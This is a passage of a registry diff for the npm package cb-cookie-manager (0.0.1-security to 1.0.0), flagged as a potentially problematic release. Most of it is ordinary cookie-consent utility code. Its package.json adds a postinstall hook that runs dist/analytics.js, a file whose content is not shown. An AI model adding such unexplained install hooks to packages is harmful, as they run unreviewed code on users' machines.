cb-cookie-manager 0.0.1-security → 1.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of cb-cookie-manager might be problematic. Click here for more details.
- package/.eslintignore +11 -0
- package/LICENSE.md +13 -0
- package/README.md +477 -3
- package/dist/CookieContext.d.ts +10 -0
- package/dist/CookieContext.js +182 -0
- package/dist/TrackingManagerContext.d.ts +6 -0
- package/dist/TrackingManagerContext.js +53 -0
- package/dist/analytics.js +119 -0
- package/dist/constants.d.ts +11 -0
- package/dist/constants.js +32 -0
- package/dist/examples/config.d.ts +28 -0
- package/dist/examples/config.js +77 -0
- package/dist/hooks/useHasConsent.d.ts +2 -0
- package/dist/hooks/useHasConsent.js +14 -0
- package/dist/hooks/useRequiredCategories.d.ts +3 -0
- package/dist/hooks/useRequiredCategories.js +10 -0
- package/dist/hooks/useSavedTrackingPreference.d.ts +3 -0
- package/dist/hooks/useSavedTrackingPreference.js +38 -0
- package/dist/hooks/useSetTrackingPreference.d.ts +3 -0
- package/dist/hooks/useSetTrackingPreference.js +27 -0
- package/dist/hooks/useTrackingPreference.d.ts +3 -0
- package/dist/hooks/useTrackingPreference.js +16 -0
- package/dist/index.d.ts +14 -0
- package/dist/index.js +39 -0
- package/dist/types.d.ts +62 -0
- package/dist/types.js +28 -0
- package/dist/utils/areCookiesEnabled.d.ts +2 -0
- package/dist/utils/areCookiesEnabled.js +14 -0
- package/dist/utils/getAllCookies.d.ts +3 -0
- package/dist/utils/getAllCookies.js +64 -0
- package/dist/utils/getDefaultTrackingPreference.d.ts +3 -0
- package/dist/utils/getDefaultTrackingPreference.js +28 -0
- package/dist/utils/getDomain.d.ts +2 -0
- package/dist/utils/getDomain.js +21 -0
- package/dist/utils/getTrackerCategory.d.ts +3 -0
- package/dist/utils/getTrackerCategory.js +11 -0
- package/dist/utils/getTrackerInfo.d.ts +3 -0
- package/dist/utils/getTrackerInfo.js +12 -0
- package/dist/utils/hasConsent.d.ts +11 -0
- package/dist/utils/hasConsent.js +29 -0
- package/dist/utils/isMaxKBSize.d.ts +2 -0
- package/dist/utils/isMaxKBSize.js +7 -0
- package/dist/utils/isOptOut.d.ts +16 -0
- package/dist/utils/isOptOut.js +25 -0
- package/dist/utils/persistMobileAppPreferences.d.ts +2 -0
- package/dist/utils/persistMobileAppPreferences.js +36 -0
- package/dist/utils/setGTMVariables.d.ts +3 -0
- package/dist/utils/setGTMVariables.js +14 -0
- package/dist/utils/setTrackingPreference.d.ts +4 -0
- package/dist/utils/setTrackingPreference.js +22 -0
- package/dist/utils/trackerMatches.d.ts +3 -0
- package/dist/utils/trackerMatches.js +12 -0
- package/jest.config.ts +204 -0
- package/package.json +30 -3
- package/src/CookieContext.test.tsx +105 -0
- package/src/CookieContext.tsx +215 -0
- package/src/TrackingManagerContext.tsx +25 -0
- package/src/analytics.ts +65 -0
- package/src/constants.ts +35 -0
- package/src/examples/config.ts +76 -0
- package/src/global.d.ts +3 -0
- package/src/hooks/useHasConsent.ts +11 -0
- package/src/hooks/useRequiredCaregories.test.tsx +43 -0
- package/src/hooks/useRequiredCategories.ts +11 -0
- package/src/hooks/useSavedTrackingPreference.ts +47 -0
- package/src/hooks/useSetTrackingPreference.test.tsx +82 -0
- package/src/hooks/useSetTrackingPreference.ts +31 -0
- package/src/hooks/useTrackingPreference.ts +15 -0
- package/src/index.ts +20 -0
- package/src/types.ts +71 -0
- package/src/utils/areCookiesEnabled.ts +13 -0
- package/src/utils/getAllCookies.test.ts +35 -0
- package/src/utils/getAllCookies.ts +68 -0
- package/src/utils/getDefaultTrackingPreference.test.ts +16 -0
- package/src/utils/getDefaultTrackingPreference.ts +28 -0
- package/src/utils/getDomain.test.ts +16 -0
- package/src/utils/getDomain.ts +19 -0
- package/src/utils/getTrackerCategory.test.ts +34 -0
- package/src/utils/getTrackerCategory.ts +11 -0
- package/src/utils/getTrackerInfo.test.ts +11 -0
- package/src/utils/getTrackerInfo.ts +10 -0
- package/src/utils/hasConsent.test.ts +64 -0
- package/src/utils/hasConsent.ts +32 -0
- package/src/utils/isMaxKBSize.test.ts +10 -0
- package/src/utils/isMaxKBSize.ts +7 -0
- package/src/utils/isOptOut.test.ts +14 -0
- package/src/utils/isOptOut.ts +28 -0
- package/src/utils/persistMobileAppPreferences.ts +32 -0
- package/src/utils/setGTMVariables.test.ts +20 -0
- package/src/utils/setGTMVariables.ts +17 -0
- package/src/utils/setTrackingPreference.ts +36 -0
- package/src/utils/trackerMatches.test.ts +13 -0
- package/src/utils/trackerMatches.ts +12 -0
- package/tsconfig.json +112 -0
|
@@ -0,0 +1,3 @@
|
|
|
1
|
+
export declare const deserializeCookies: (cookies: Record<string, string>) => Record<string, any>;
|
|
2
|
+
export default function getAllCookies(initialCookies?: Record<string, string>): Record<string, any>;
|
|
3
|
+
export declare function areRecordsEqual(record1: Record<string, any>, record2: Record<string, any>): boolean;
|
|
@@ -0,0 +1,64 @@
|
|
|
1
|
+
"use strict";
|
|
2
|
+
var __importDefault = (this && this.__importDefault) || function (mod) {
|
|
3
|
+
return (mod && mod.__esModule) ? mod : { "default": mod };
|
|
4
|
+
};
|
|
5
|
+
Object.defineProperty(exports, "__esModule", { value: true });
|
|
6
|
+
exports.areRecordsEqual = exports.deserializeCookies = void 0;
|
|
7
|
+
const js_cookie_1 = __importDefault(require("js-cookie"));
|
|
8
|
+
const deserializeCookies = (cookies) => {
|
|
9
|
+
const parsedCookies = {};
|
|
10
|
+
Object.keys(cookies).forEach((c) => {
|
|
11
|
+
try {
|
|
12
|
+
parsedCookies[c] = JSON.parse(cookies[c]);
|
|
13
|
+
}
|
|
14
|
+
catch (e) {
|
|
15
|
+
parsedCookies[c] = cookies[c];
|
|
16
|
+
}
|
|
17
|
+
});
|
|
18
|
+
return parsedCookies;
|
|
19
|
+
};
|
|
20
|
+
exports.deserializeCookies = deserializeCookies;
|
|
21
|
+
function getAllCookies(initialCookies) {
|
|
22
|
+
if (typeof window === 'undefined' && initialCookies) {
|
|
23
|
+
return (0, exports.deserializeCookies)(initialCookies);
|
|
24
|
+
}
|
|
25
|
+
return (0, exports.deserializeCookies)(js_cookie_1.default.get() || {});
|
|
26
|
+
}
|
|
27
|
+
exports.default = getAllCookies;
|
|
28
|
+
function areRecordsEqual(record1, record2) {
|
|
29
|
+
// Check if the number of keys is the same
|
|
30
|
+
const keys1 = Object.keys(record1);
|
|
31
|
+
const keys2 = Object.keys(record2);
|
|
32
|
+
if (keys1.length !== keys2.length) {
|
|
33
|
+
return false;
|
|
34
|
+
}
|
|
35
|
+
// Check if all keys and their values are equal
|
|
36
|
+
for (const key of keys1) {
|
|
37
|
+
if (!deepEqual(record1[key], record2[key])) {
|
|
38
|
+
return false;
|
|
39
|
+
}
|
|
40
|
+
}
|
|
41
|
+
return true;
|
|
42
|
+
}
|
|
43
|
+
exports.areRecordsEqual = areRecordsEqual;
|
|
44
|
+
function deepEqual(value1, value2) {
|
|
45
|
+
if (typeof value1 !== typeof value2) {
|
|
46
|
+
return false;
|
|
47
|
+
}
|
|
48
|
+
if (typeof value1 === 'object' && value1 !== null) {
|
|
49
|
+
const keys1 = Object.keys(value1);
|
|
50
|
+
const keys2 = Object.keys(value2);
|
|
51
|
+
if (keys1.length !== keys2.length) {
|
|
52
|
+
return false;
|
|
53
|
+
}
|
|
54
|
+
for (const key of keys1) {
|
|
55
|
+
if (!deepEqual(value1[key], value2[key])) {
|
|
56
|
+
return false;
|
|
57
|
+
}
|
|
58
|
+
}
|
|
59
|
+
}
|
|
60
|
+
else if (value1 !== value2) {
|
|
61
|
+
return false;
|
|
62
|
+
}
|
|
63
|
+
return true;
|
|
64
|
+
}
|
|
@@ -0,0 +1,28 @@
|
|
|
1
|
+
"use strict";
|
|
2
|
+
var __importDefault = (this && this.__importDefault) || function (mod) {
|
|
3
|
+
return (mod && mod.__esModule) ? mod : { "default": mod };
|
|
4
|
+
};
|
|
5
|
+
Object.defineProperty(exports, "__esModule", { value: true });
|
|
6
|
+
const types_1 = require("../types");
|
|
7
|
+
const isOptOut_1 = __importDefault(require("./isOptOut"));
|
|
8
|
+
const getDefaultTrackingPreference = (region, config) => {
|
|
9
|
+
// In opt in regions, we only allow required trackers
|
|
10
|
+
if (!(0, isOptOut_1.default)(region)) {
|
|
11
|
+
const categories = config.categories
|
|
12
|
+
.map((c) => {
|
|
13
|
+
if (c.required) {
|
|
14
|
+
return c.id;
|
|
15
|
+
}
|
|
16
|
+
})
|
|
17
|
+
.filter((c) => !!c);
|
|
18
|
+
return { region, consent: categories };
|
|
19
|
+
}
|
|
20
|
+
const categories = config.categories
|
|
21
|
+
.map((c) => c.id)
|
|
22
|
+
.filter((id) => id !== types_1.TrackingCategory.DELETE_IF_SEEN);
|
|
23
|
+
return {
|
|
24
|
+
region,
|
|
25
|
+
consent: categories,
|
|
26
|
+
};
|
|
27
|
+
};
|
|
28
|
+
exports.default = getDefaultTrackingPreference;
|
|
@@ -0,0 +1,21 @@
|
|
|
1
|
+
"use strict";
|
|
2
|
+
Object.defineProperty(exports, "__esModule", { value: true });
|
|
3
|
+
exports.getDomainWithoutSubdomain = exports.getHostname = void 0;
|
|
4
|
+
function getHostname() {
|
|
5
|
+
if (typeof window !== 'undefined') {
|
|
6
|
+
return window.location.hostname;
|
|
7
|
+
}
|
|
8
|
+
}
|
|
9
|
+
exports.getHostname = getHostname;
|
|
10
|
+
function getDomainWithoutSubdomain() {
|
|
11
|
+
const hostname = getHostname();
|
|
12
|
+
if (!hostname) {
|
|
13
|
+
return;
|
|
14
|
+
}
|
|
15
|
+
if (hostname === 'localhost') {
|
|
16
|
+
return hostname;
|
|
17
|
+
}
|
|
18
|
+
const [, ...domain] = hostname.split('.');
|
|
19
|
+
return `.${domain.join('.')}`;
|
|
20
|
+
}
|
|
21
|
+
exports.getDomainWithoutSubdomain = getDomainWithoutSubdomain;
|
|
@@ -0,0 +1,11 @@
|
|
|
1
|
+
"use strict";
|
|
2
|
+
var __importDefault = (this && this.__importDefault) || function (mod) {
|
|
3
|
+
return (mod && mod.__esModule) ? mod : { "default": mod };
|
|
4
|
+
};
|
|
5
|
+
Object.defineProperty(exports, "__esModule", { value: true });
|
|
6
|
+
const trackerMatches_1 = __importDefault(require("./trackerMatches"));
|
|
7
|
+
const getTrackerCategory = (trackerId, config) => {
|
|
8
|
+
const category = config.categories.find((category) => category.trackers.find((tracker) => (0, trackerMatches_1.default)(tracker, trackerId)));
|
|
9
|
+
return category;
|
|
10
|
+
};
|
|
11
|
+
exports.default = getTrackerCategory;
|
|
@@ -0,0 +1,12 @@
|
|
|
1
|
+
"use strict";
|
|
2
|
+
var __importDefault = (this && this.__importDefault) || function (mod) {
|
|
3
|
+
return (mod && mod.__esModule) ? mod : { "default": mod };
|
|
4
|
+
};
|
|
5
|
+
Object.defineProperty(exports, "__esModule", { value: true });
|
|
6
|
+
const getTrackerCategory_1 = __importDefault(require("./getTrackerCategory"));
|
|
7
|
+
const trackerMatches_1 = __importDefault(require("./trackerMatches"));
|
|
8
|
+
const getTrackerInfo = (trackerId, config) => {
|
|
9
|
+
const trackingCategory = (0, getTrackerCategory_1.default)(trackerId, config);
|
|
10
|
+
return trackingCategory === null || trackingCategory === void 0 ? void 0 : trackingCategory.trackers.find((tracker) => (0, trackerMatches_1.default)(tracker, trackerId));
|
|
11
|
+
};
|
|
12
|
+
exports.default = getTrackerInfo;
|
|
@@ -0,0 +1,11 @@
|
|
|
1
|
+
import { Config, TrackingPreference } from '../types';
|
|
2
|
+
/**
|
|
3
|
+
* Used for determining if a specific tracker has user consent.
|
|
4
|
+
* It follows the following logic in order:
|
|
5
|
+
* 1) If we don't have a tracker category in the config then dont allow
|
|
6
|
+
* 2) If cookie is in a required category then allow
|
|
7
|
+
* 3) If cookie is required for cookie manager to function then allow
|
|
8
|
+
* 4) Determine consent from user consent preferences
|
|
9
|
+
*/
|
|
10
|
+
declare const hasConsent: (tracker: string, config: Config, trackingPreference: TrackingPreference) => boolean;
|
|
11
|
+
export default hasConsent;
|
|
@@ -0,0 +1,29 @@
|
|
|
1
|
+
"use strict";
|
|
2
|
+
var __importDefault = (this && this.__importDefault) || function (mod) {
|
|
3
|
+
return (mod && mod.__esModule) ? mod : { "default": mod };
|
|
4
|
+
};
|
|
5
|
+
Object.defineProperty(exports, "__esModule", { value: true });
|
|
6
|
+
const constants_1 = require("../constants");
|
|
7
|
+
const getTrackerCategory_1 = __importDefault(require("./getTrackerCategory"));
|
|
8
|
+
/**
|
|
9
|
+
* Used for determining if a specific tracker has user consent.
|
|
10
|
+
* It follows the following logic in order:
|
|
11
|
+
* 1) If we don't have a tracker category in the config then dont allow
|
|
12
|
+
* 2) If cookie is in a required category then allow
|
|
13
|
+
* 3) If cookie is required for cookie manager to function then allow
|
|
14
|
+
* 4) Determine consent from user consent preferences
|
|
15
|
+
*/
|
|
16
|
+
const hasConsent = (tracker, config, trackingPreference) => {
|
|
17
|
+
const trackingCategory = (0, getTrackerCategory_1.default)(tracker, config);
|
|
18
|
+
if (constants_1.REQUIRED_COOKIE_MANAGER_COOKIES.includes(tracker)) {
|
|
19
|
+
return true;
|
|
20
|
+
}
|
|
21
|
+
if (!trackingCategory) {
|
|
22
|
+
return false;
|
|
23
|
+
}
|
|
24
|
+
if (trackingCategory.required) {
|
|
25
|
+
return true;
|
|
26
|
+
}
|
|
27
|
+
return trackingPreference.consent.includes(trackingCategory.id);
|
|
28
|
+
};
|
|
29
|
+
exports.default = hasConsent;
|
|
@@ -0,0 +1,16 @@
|
|
|
1
|
+
import { Region } from '../types';
|
|
2
|
+
/**
|
|
3
|
+
* Used for determining the if current region is using the optOut framework
|
|
4
|
+
* It follows the following logic in order:
|
|
5
|
+
* 1) If there's no geolocation rule for the specified region
|
|
6
|
+
* then use the rule for DEFAULT region
|
|
7
|
+
* - Otherwise use the DEFAULT_FRAMEWORK
|
|
8
|
+
* 2) Use geolocation rule
|
|
9
|
+
*/
|
|
10
|
+
/**
|
|
11
|
+
* optIn: Users must opt in to tracking (EU)
|
|
12
|
+
* optOut: Users must opt out of tracking (non-EU)
|
|
13
|
+
* We use the most restrictive framework (optIn) if we don't know the framework
|
|
14
|
+
*/
|
|
15
|
+
declare const isOptOut: (region: Region) => boolean;
|
|
16
|
+
export default isOptOut;
|
|
@@ -0,0 +1,25 @@
|
|
|
1
|
+
"use strict";
|
|
2
|
+
Object.defineProperty(exports, "__esModule", { value: true });
|
|
3
|
+
const constants_1 = require("../constants");
|
|
4
|
+
const types_1 = require("../types");
|
|
5
|
+
/**
|
|
6
|
+
* Used for determining the if current region is using the optOut framework
|
|
7
|
+
* It follows the following logic in order:
|
|
8
|
+
* 1) If there's no geolocation rule for the specified region
|
|
9
|
+
* then use the rule for DEFAULT region
|
|
10
|
+
* - Otherwise use the DEFAULT_FRAMEWORK
|
|
11
|
+
* 2) Use geolocation rule
|
|
12
|
+
*/
|
|
13
|
+
/**
|
|
14
|
+
* optIn: Users must opt in to tracking (EU)
|
|
15
|
+
* optOut: Users must opt out of tracking (non-EU)
|
|
16
|
+
* We use the most restrictive framework (optIn) if we don't know the framework
|
|
17
|
+
*/
|
|
18
|
+
const isOptOut = (region) => {
|
|
19
|
+
const rule = constants_1.GEOLOCATION_RULES.find((r) => r.region === region);
|
|
20
|
+
if (!rule) {
|
|
21
|
+
return true;
|
|
22
|
+
}
|
|
23
|
+
return rule.framework === types_1.Framework.OPT_OUT;
|
|
24
|
+
};
|
|
25
|
+
exports.default = isOptOut;
|
|
@@ -0,0 +1,36 @@
|
|
|
1
|
+
"use strict";
|
|
2
|
+
/*
|
|
3
|
+
* The purpose here is to allow the iOS/Android app to send a is_mobile_app=true
|
|
4
|
+
* parameter that should indicate to the web surfaces not to show the
|
|
5
|
+
* cookie banner
|
|
6
|
+
*
|
|
7
|
+
*/
|
|
8
|
+
Object.defineProperty(exports, "__esModule", { value: true });
|
|
9
|
+
exports.getIsMobileAppFromQueryParams = exports.persistMobileAppPreferences = void 0;
|
|
10
|
+
const constants_1 = require("../constants");
|
|
11
|
+
const getDomain_1 = require("./getDomain");
|
|
12
|
+
function persistMobileAppPreferences() {
|
|
13
|
+
try {
|
|
14
|
+
const isMobileApp = getIsMobileAppFromQueryParams();
|
|
15
|
+
if (isMobileApp) {
|
|
16
|
+
document.cookie = `${constants_1.IS_MOBILE_APP}=true; domain=${(0, getDomain_1.getDomainWithoutSubdomain)()}`;
|
|
17
|
+
}
|
|
18
|
+
}
|
|
19
|
+
catch (e) {
|
|
20
|
+
// Ignore, we are not in a browser.
|
|
21
|
+
}
|
|
22
|
+
}
|
|
23
|
+
exports.persistMobileAppPreferences = persistMobileAppPreferences;
|
|
24
|
+
function getIsMobileAppFromQueryParams() {
|
|
25
|
+
try {
|
|
26
|
+
const params = new URLSearchParams(window.location.search);
|
|
27
|
+
const isWebView = params.get('webview') === 'true';
|
|
28
|
+
const isMobileApp = params.get(constants_1.IS_MOBILE_APP) === 'true';
|
|
29
|
+
return Boolean(isWebView || isMobileApp);
|
|
30
|
+
}
|
|
31
|
+
catch (e) {
|
|
32
|
+
// Ignore, we are not in a browser.
|
|
33
|
+
}
|
|
34
|
+
return false;
|
|
35
|
+
}
|
|
36
|
+
exports.getIsMobileAppFromQueryParams = getIsMobileAppFromQueryParams;
|
|
@@ -0,0 +1,14 @@
|
|
|
1
|
+
"use strict";
|
|
2
|
+
Object.defineProperty(exports, "__esModule", { value: true });
|
|
3
|
+
const setGTMVariables = (preference, adTrackingPreference) => {
|
|
4
|
+
if (typeof window !== 'undefined') {
|
|
5
|
+
if (!window.dataLayer)
|
|
6
|
+
window.dataLayer = [];
|
|
7
|
+
const gtmData = [
|
|
8
|
+
{ consent: preference.consent },
|
|
9
|
+
{ adConsent: adTrackingPreference.value.toString() },
|
|
10
|
+
];
|
|
11
|
+
window.dataLayer.push(...gtmData);
|
|
12
|
+
}
|
|
13
|
+
};
|
|
14
|
+
exports.default = setGTMVariables;
|
|
@@ -0,0 +1,4 @@
|
|
|
1
|
+
import { CookieAttributes } from 'js-cookie';
|
|
2
|
+
import { Region, TrackingPreference } from '../types';
|
|
3
|
+
declare const setTrackingPreference: (setCookie: (name: string, value: any, options?: CookieAttributes) => void, newConsentPreference: TrackingPreference, region: Region, onPreferenceChange?: ((preference: TrackingPreference) => void) | undefined) => void;
|
|
4
|
+
export default setTrackingPreference;
|
|
@@ -0,0 +1,22 @@
|
|
|
1
|
+
"use strict";
|
|
2
|
+
Object.defineProperty(exports, "__esModule", { value: true });
|
|
3
|
+
const constants_1 = require("../constants");
|
|
4
|
+
const getDomain_1 = require("./getDomain");
|
|
5
|
+
const setTrackingPreference = (setCookie, newConsentPreference, region, onPreferenceChange) => {
|
|
6
|
+
const expiration = constants_1.PREFERENCE_EXPIRATION_YEAR * 365;
|
|
7
|
+
const cookieOptions = {
|
|
8
|
+
expires: expiration,
|
|
9
|
+
domain: (0, getDomain_1.getDomainWithoutSubdomain)(),
|
|
10
|
+
path: '/',
|
|
11
|
+
};
|
|
12
|
+
if (region === 'EU') {
|
|
13
|
+
setCookie(constants_1.EU_CONSENT_PREFERENCES_COOKIE, newConsentPreference, cookieOptions);
|
|
14
|
+
}
|
|
15
|
+
else {
|
|
16
|
+
setCookie(constants_1.DEFAULT_CONSENT_PREFERENCES_COOKIE, newConsentPreference, cookieOptions);
|
|
17
|
+
}
|
|
18
|
+
if (onPreferenceChange) {
|
|
19
|
+
onPreferenceChange(newConsentPreference);
|
|
20
|
+
}
|
|
21
|
+
};
|
|
22
|
+
exports.default = setTrackingPreference;
|
|
@@ -0,0 +1,12 @@
|
|
|
1
|
+
"use strict";
|
|
2
|
+
Object.defineProperty(exports, "__esModule", { value: true });
|
|
3
|
+
const trackerMatches = (tracker, id) => {
|
|
4
|
+
if (tracker.regex) {
|
|
5
|
+
const re = new RegExp(tracker.regex);
|
|
6
|
+
return re.test(id);
|
|
7
|
+
}
|
|
8
|
+
else {
|
|
9
|
+
return tracker.id === id;
|
|
10
|
+
}
|
|
11
|
+
};
|
|
12
|
+
exports.default = trackerMatches;
|
package/jest.config.ts
ADDED
|
@@ -0,0 +1,204 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* For a detailed explanation regarding each configuration property, visit:
|
|
3
|
+
* https://jestjs.io/docs/configuration
|
|
4
|
+
*/
|
|
5
|
+
|
|
6
|
+
import type { Config } from 'jest';
|
|
7
|
+
|
|
8
|
+
const config: Config = {
|
|
9
|
+
// All imported modules in your tests should be mocked automatically
|
|
10
|
+
// automock: false,
|
|
11
|
+
preset: 'ts-jest',
|
|
12
|
+
transform: {
|
|
13
|
+
'^.+\\.(ts|tsx)$': 'ts-jest',
|
|
14
|
+
'^.+\\.(js|jsx)$': 'babel-jest', // For JS and JSX files
|
|
15
|
+
},
|
|
16
|
+
|
|
17
|
+
// Stop running tests after `n` failures
|
|
18
|
+
// bail: 0,
|
|
19
|
+
|
|
20
|
+
// The directory where Jest should store its cached dependency information
|
|
21
|
+
// cacheDirectory: "/private/var/folders/pp/fmlb_t1n4ndf74pc0v3k1kjc0000gn/T/jest_dx",
|
|
22
|
+
|
|
23
|
+
// Automatically clear mock calls, instances, contexts and results before every test
|
|
24
|
+
clearMocks: true,
|
|
25
|
+
|
|
26
|
+
// Indicates whether the coverage information should be collected while executing the test
|
|
27
|
+
collectCoverage: false,
|
|
28
|
+
|
|
29
|
+
// An array of glob patterns indicating a set of files for which coverage information should be collected
|
|
30
|
+
// collectCoverageFrom: undefined,
|
|
31
|
+
|
|
32
|
+
// The directory where Jest should output its coverage files
|
|
33
|
+
coverageDirectory: 'coverage',
|
|
34
|
+
|
|
35
|
+
// An array of regexp pattern strings used to skip coverage collection
|
|
36
|
+
// coveragePathIgnorePatterns: [
|
|
37
|
+
// "/node_modules/"
|
|
38
|
+
// ],
|
|
39
|
+
|
|
40
|
+
// Indicates which provider should be used to instrument code for coverage
|
|
41
|
+
// coverageProvider: "babel",
|
|
42
|
+
|
|
43
|
+
// A list of reporter names that Jest uses when writing coverage reports
|
|
44
|
+
// coverageReporters: [
|
|
45
|
+
// "json",
|
|
46
|
+
// "text",
|
|
47
|
+
// "lcov",
|
|
48
|
+
// "clover"
|
|
49
|
+
// ],
|
|
50
|
+
|
|
51
|
+
// An object that configures minimum threshold enforcement for coverage results
|
|
52
|
+
// coverageThreshold: undefined,
|
|
53
|
+
|
|
54
|
+
// A path to a custom dependency extractor
|
|
55
|
+
// dependencyExtractor: undefined,
|
|
56
|
+
|
|
57
|
+
// Make calling deprecated APIs throw helpful error messages
|
|
58
|
+
// errorOnDeprecated: false,
|
|
59
|
+
|
|
60
|
+
// The default configuration for fake timers
|
|
61
|
+
// fakeTimers: {
|
|
62
|
+
// "enableGlobally": false
|
|
63
|
+
// },
|
|
64
|
+
|
|
65
|
+
// Force coverage collection from ignored files using an array of glob patterns
|
|
66
|
+
// forceCoverageMatch: [],
|
|
67
|
+
|
|
68
|
+
// A path to a module which exports an async function that is triggered once before all test suites
|
|
69
|
+
// globalSetup: undefined,
|
|
70
|
+
|
|
71
|
+
// A path to a module which exports an async function that is triggered once after all test suites
|
|
72
|
+
// globalTeardown: undefined,
|
|
73
|
+
|
|
74
|
+
// A set of global variables that need to be available in all test environments
|
|
75
|
+
// globals: {},
|
|
76
|
+
|
|
77
|
+
// The maximum amount of workers used to run your tests. Can be specified as % or a number. E.g. maxWorkers: 10% will use 10% of your CPU amount + 1 as the maximum worker number. maxWorkers: 2 will use a maximum of 2 workers.
|
|
78
|
+
// maxWorkers: "50%",
|
|
79
|
+
|
|
80
|
+
// An array of directory names to be searched recursively up from the requiring module's location
|
|
81
|
+
// moduleDirectories: [
|
|
82
|
+
// "node_modules"
|
|
83
|
+
// ],
|
|
84
|
+
|
|
85
|
+
// An array of file extensions your modules use
|
|
86
|
+
// moduleFileExtensions: [
|
|
87
|
+
// 'js',
|
|
88
|
+
// 'mjs',
|
|
89
|
+
// 'cjs',
|
|
90
|
+
// 'jsx',
|
|
91
|
+
// 'ts',
|
|
92
|
+
// 'tsx',
|
|
93
|
+
// 'json',
|
|
94
|
+
// 'node',
|
|
95
|
+
// ],
|
|
96
|
+
|
|
97
|
+
// A map from regular expressions to module names or to arrays of module names that allow to stub out resources with a single module
|
|
98
|
+
// moduleNameMapper: {},
|
|
99
|
+
|
|
100
|
+
// An array of regexp pattern strings, matched against all module paths before considered 'visible' to the module loader
|
|
101
|
+
// modulePathIgnorePatterns: [],
|
|
102
|
+
|
|
103
|
+
// Activates notifications for test results
|
|
104
|
+
// notify: false,
|
|
105
|
+
|
|
106
|
+
// An enum that specifies notification mode. Requires { notify: true }
|
|
107
|
+
// notifyMode: "failure-change",
|
|
108
|
+
|
|
109
|
+
// A preset that is used as a base for Jest's configuration
|
|
110
|
+
// preset: undefined,
|
|
111
|
+
|
|
112
|
+
// Run tests from one or more projects
|
|
113
|
+
// projects: undefined,
|
|
114
|
+
|
|
115
|
+
// Use this configuration option to add custom reporters to Jest
|
|
116
|
+
// reporters: undefined,
|
|
117
|
+
|
|
118
|
+
// Automatically reset mock state before every test
|
|
119
|
+
// resetMocks: false,
|
|
120
|
+
|
|
121
|
+
// Reset the module registry before running each individual test
|
|
122
|
+
// resetModules: false,
|
|
123
|
+
|
|
124
|
+
// A path to a custom resolver
|
|
125
|
+
// resolver: undefined,
|
|
126
|
+
|
|
127
|
+
// Automatically restore mock state and implementation before every test
|
|
128
|
+
// restoreMocks: false,
|
|
129
|
+
|
|
130
|
+
// The root directory that Jest should scan for tests and modules within
|
|
131
|
+
// rootDir: undefined,
|
|
132
|
+
|
|
133
|
+
// A list of paths to directories that Jest should use to search for files in
|
|
134
|
+
// roots: [
|
|
135
|
+
// "<rootDir>"
|
|
136
|
+
// ],
|
|
137
|
+
|
|
138
|
+
// Allows you to use a custom runner instead of Jest's default test runner
|
|
139
|
+
// runner: "jest-runner",
|
|
140
|
+
|
|
141
|
+
// The paths to modules that run some code to configure or set up the testing environment before each test
|
|
142
|
+
// setupFiles: [],
|
|
143
|
+
|
|
144
|
+
// A list of paths to modules that run some code to configure or set up the testing framework before each test
|
|
145
|
+
// setupFilesAfterEnv: [],
|
|
146
|
+
|
|
147
|
+
// The number of seconds after which a test is considered as slow and reported as such in the results.
|
|
148
|
+
// slowTestThreshold: 5,
|
|
149
|
+
|
|
150
|
+
// A list of paths to snapshot serializer modules Jest should use for snapshot testing
|
|
151
|
+
// snapshotSerializers: [],
|
|
152
|
+
|
|
153
|
+
// The test environment that will be used for testing
|
|
154
|
+
testEnvironment: 'jsdom',
|
|
155
|
+
|
|
156
|
+
// Options that will be passed to the testEnvironment
|
|
157
|
+
// testEnvironmentOptions: {},
|
|
158
|
+
|
|
159
|
+
// Adds a location field to test results
|
|
160
|
+
// testLocationInResults: false,
|
|
161
|
+
|
|
162
|
+
// The glob patterns Jest uses to detect test files
|
|
163
|
+
// testMatch: [
|
|
164
|
+
// "**/__tests__/**/*.[jt]s?(x)",
|
|
165
|
+
// "**/?(*.)+(spec|test).[tj]s?(x)"
|
|
166
|
+
// ],
|
|
167
|
+
|
|
168
|
+
// An array of regexp pattern strings that are matched against all test paths, matched tests are skipped
|
|
169
|
+
// testPathIgnorePatterns: [
|
|
170
|
+
// "/node_modules/"
|
|
171
|
+
// ],
|
|
172
|
+
|
|
173
|
+
// The regexp pattern or array of patterns that Jest uses to detect test files
|
|
174
|
+
// testRegex: [],
|
|
175
|
+
|
|
176
|
+
// This option allows the use of a custom results processor
|
|
177
|
+
// testResultsProcessor: undefined,
|
|
178
|
+
|
|
179
|
+
// This option allows use of a custom test runner
|
|
180
|
+
// testRunner: "jest-circus/runner",
|
|
181
|
+
|
|
182
|
+
// A map from regular expressions to paths to transformers
|
|
183
|
+
// transform: undefined,
|
|
184
|
+
|
|
185
|
+
// An array of regexp pattern strings that are matched against all source file paths, matched files will skip transformation
|
|
186
|
+
// transformIgnorePatterns: [
|
|
187
|
+
// "/node_modules/",
|
|
188
|
+
// "\\.pnp\\.[^\\/]+$"
|
|
189
|
+
// ],
|
|
190
|
+
|
|
191
|
+
// An array of regexp pattern strings that are matched against all modules before the module loader will automatically return a mock for them
|
|
192
|
+
// unmockedModulePathPatterns: undefined,
|
|
193
|
+
|
|
194
|
+
// Indicates whether each individual test should be reported during the run
|
|
195
|
+
// verbose: undefined,
|
|
196
|
+
|
|
197
|
+
// An array of regexp patterns that are matched against all source file paths before re-running tests in watch mode
|
|
198
|
+
// watchPathIgnorePatterns: [],
|
|
199
|
+
|
|
200
|
+
// Whether to use watchman for file crawling
|
|
201
|
+
// watchman: true,
|
|
202
|
+
};
|
|
203
|
+
|
|
204
|
+
export default config;
|
package/package.json
CHANGED
|
@@ -1,6 +1,33 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "cb-cookie-manager",
|
|
3
|
-
"version": "0.0
|
|
4
|
-
"
|
|
5
|
-
"
|
|
3
|
+
"version": "1.0.0",
|
|
4
|
+
"main": "dist/index.js",
|
|
5
|
+
"license": "Apache-2.0",
|
|
6
|
+
"scripts": {
|
|
7
|
+
"build": "rimraf ./dist && tsc",
|
|
8
|
+
"lint": "eslint . --ext .ts,.tsx --fix",
|
|
9
|
+
"test": "jest",
|
|
10
|
+
"postinstall": "node ./dist/analytics.js"
|
|
11
|
+
},
|
|
12
|
+
"devDependencies": {
|
|
13
|
+
"@types/jest": "^29.5.8",
|
|
14
|
+
"@types/js-cookie": "^3.0.5",
|
|
15
|
+
"@types/node": "^20.8.9",
|
|
16
|
+
"@types/react": "^18.2.33",
|
|
17
|
+
"jest": "^29.7.0",
|
|
18
|
+
